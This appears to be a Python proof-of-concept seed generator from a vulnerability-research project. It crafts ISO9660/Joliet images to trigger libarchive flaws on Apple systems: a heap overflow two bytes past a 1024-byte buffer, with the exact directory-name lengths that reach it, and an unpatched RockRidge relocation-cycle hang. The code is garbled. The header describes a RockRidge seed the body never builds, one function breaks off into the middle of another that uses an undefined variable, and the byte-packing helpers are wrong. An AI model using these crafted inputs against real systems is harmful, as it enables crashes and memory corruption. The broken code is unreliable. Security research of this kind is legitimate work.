#!/usr/bin/env python3 # arc.rr · libarchive · RockRidge CL/PL · — # 原语: 探测 · 进程内 | Primitive: probe · in-process # # [zh] RockRidge 重定位环(未修复孪生) # 上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。 # # [en] RockRidge relocation cycle (unfixed sibling) # Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 # (d14de384fcc6) and Apple did not take the commit. The defect is present on both 27.0 and 27.2, # making it the only candidate in this project that also holds on current systems. # # 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py # 触发器(run 闭包)与非种子构建器: 同目录 arc.rr.swift # triggers (run closures) & non-seed builders: arc.rr.swift in this folder import struct SECTOR = 2048 # --------------------------------------------------------------------------- helpers def both16(v): return struct.pack("H", v) def both32(v): return struct.pack("I", v) # --------------------------------------------------------------------------- ISO9660 Joliet def build_joliet_iso(): """ Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0). build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/' separator WITHOUT re-checking the running length against max (1024). A directory chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer. Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E. Accumulated: 4*206 + 192 + 4*2 = 1024 exactly. """ names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96] # sector plan LBA_PVD = 16 LBA_SVD = 17 LBA_TERM = 18 LBA_PT_ASCII = 19 LBA_PT_JOLIET = 20 LBA_ROOT = 21 first_dir = LBA_ROOT + 1 # 22 .. 26 LBA_FILE = first_dir + len(names) # 27 total_sectors = LBA_FILE + 1 img = bytearray(total_sectors * SECTOR) def put(lba, data): img[lba * SECTOR: lba * SECTOR + len(data)] = data # ---- path tables (type L, little endian extents) def path_table(encode): out = bytearray() entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)] for name, parent, extent in entries: nb = encode(name) if name else b"\x00" rec = bytes([len(nb), 0]) + struct.pack("I", 0) # type-M (unused) d[152:156] = struct.pack(">I", 0) # optional type-M # root directory record at offset 156 root = dir_record(b"\x00", root_lba, SECTOR, 0x02) d[156:156 + len(root)] = root d[881] = 1 # file structure version if joliet: d[88:88 + 3] = b"%/E" # escape sequence return bytes(d) put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii))) put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet))) term = bytearray(2048) term[0] = 255 term[1:6] = b"CD001" term[6] = 1 put(LBA_TERM, bytes(term)) return bytes(img) # --------------------------------------------------------------------------- USDA nesting def dir_record(name_bytes, extent, size, flags): """ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent).""" body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1) rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes if len(rec) % 2: rec += b"\x00" rec = bytes([len(rec)]) + rec[1:] return rec def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0): return bytes([y - 1900, mo, d, h, mi, s, 0]) def pad_to(data, n): if len(data) < n: data = data + b"\x00" * (n - len(data)) return data[:n] def ucs2(name): return name.encode("utf-16-be") # --------------------------------------------------------------------------- ISO9660 Joliet if __name__ == "__main__": import sys out = sys.argv[1] if len(sys.argv) > 1 else "joliet_path_oob.iso" open(out, "wb").write(build_joliet_iso()) print("wrote", out)